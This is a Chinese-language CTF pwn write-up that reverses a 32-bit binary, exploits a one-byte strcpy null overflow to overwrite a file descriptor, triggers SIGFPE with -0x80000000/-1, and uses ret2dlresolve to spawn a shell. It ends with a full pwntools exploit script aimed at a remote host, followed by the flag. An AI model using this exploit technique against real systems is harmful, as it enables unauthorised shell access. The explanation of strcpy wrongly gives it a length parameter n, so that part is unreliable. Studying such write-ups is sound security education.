知识点
strcpy(dest, src)
strcpy 函数用于将指定长度的字符串复制到字符数组里
语法形式为:char *strcpy(char *dest, const char *src, int n),
表示把src所指向的字符串里以src地址开始的前n个字节复制到dest所指的数组里,并返回被复制后的dest。
strcpy:strcpy只用于字符串复制,并且它不仅复制字符串内容之外,还会复制字符串的结束符
例:strcpy(a,b) b为源字符串,a为复制b的字符串
read(unk_804C080, src, 0x10u):
unk_804C080的值被赋值为real_flag.txt里的内容
因为
result = open(“real_flag.txt”, 1);
unk_804C080 = result;
类型sighandler_t,表示指向返回值为void型(参数为int型)的函数(的)指针。它用来声明一个或多个函数指针。
sighandler_t sig1, sig2; 这个声明等价于下面的写法:
void (*sig1)(int), (*sig2)(int);
if ( v1 )
{
signal(8, (__sighandler_t)sub_8049236);
v2[1] = v2[0] / (int)v1;
result = signal(8, 0);
}
C语言里的信号signal():
信号是程序执行过程里出现的异常情况。它可能是由程序里的错误造成的,例如引用内存里的一个非法地址;或者是由程序数据里的错误造成的,例如浮点数被0除;或者是由外部事件引发的,例如用户按了Ctrl+Break键。
signal()的原型为:
#include <signal.h>
void(*signal(int hum,void(*func)(int)))(int);
这恐怕是你在C标准函数库里能见到的最复杂的说明了。如果你先定义一个typedef,理解起来就容易一些了。下面给出的sigHandler_t类型是指向一个程序的指针,该函数有一个int类型的参数,并且返回一个void类型:
typedef void(*sigHandler_t)(int);
sigHandler_t signal(int num , sigHandler_t func);
解题流程
首先先查看保护机制
在终端输入checksec ./test
IDA32位打开:
伪码:
main:
点击sub_8049424():
0x30=48
0x20=32
0x10=16
下面查看main的子程序:
(1)
result = open(“real_flag.txt”, 1); 对real_flag.txt文件只读
result被赋值为从real_flag.txt文件的内容
(2)
sub_80493EC(src);
点开sub_80493EC():
(3)
sub_8049385(src, off_804C034)
src为由read(unk_804C080, src, 0x10u)获取到的flag内容
因为read(unk_804C080, src, 0x10u)将unk_804C080值读取0x10字节到src里
点开sub_8049385()
(3)
if ( !result )
result = sub_8049269();
点开sub_8049269()
漏洞分析
在这里,标准输入会跟打开的文件里面的字符串进行比较,比较成功才会进入下一步
但是我们发现上面用了一个strcpy函数,strcpy存在单字节的溢出,这个函数会用’\x00’结尾,我们可以在上面让dest的后面一个字节为’\x00’,以覆盖fd,改为0后可以直接从stdin读入内容,从而通过strcmp的检测。
绕开比较进入函数之后是一个signal,必须触发这个signal 8号信号才能进入最后的函数。
signal8是浮点例外。在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。
解决方案
不能除0,就构造溢出。
需要触发算数异常SIGFPE,可以通过-0x80000000/-1触发,触发后可以直接执行一个栈溢出;由于程序里没有输出函数,无法leak函数,所以使用ret2dlresolve方法直接getshell
exp
from pwn import *
from roputils import *
import timerop = ROP('./test')
#p = process('./test')
p = remote("39.105.138.97",1234)
context.log_level='debug'p.send(p32(0))
sleep(1)
p.send("a"*32)
sleep(1)
p.send('hello_boy')
sleep(1)
p.send(str(int(-2147483648)))
sleep(1)
p.send(str(int(-1)))
sleep(1)offset = 77
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
p.send(buf)buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
p.send(buf)p.interactive()
flag值为:qwb{n0_1nput_1s_great!!!}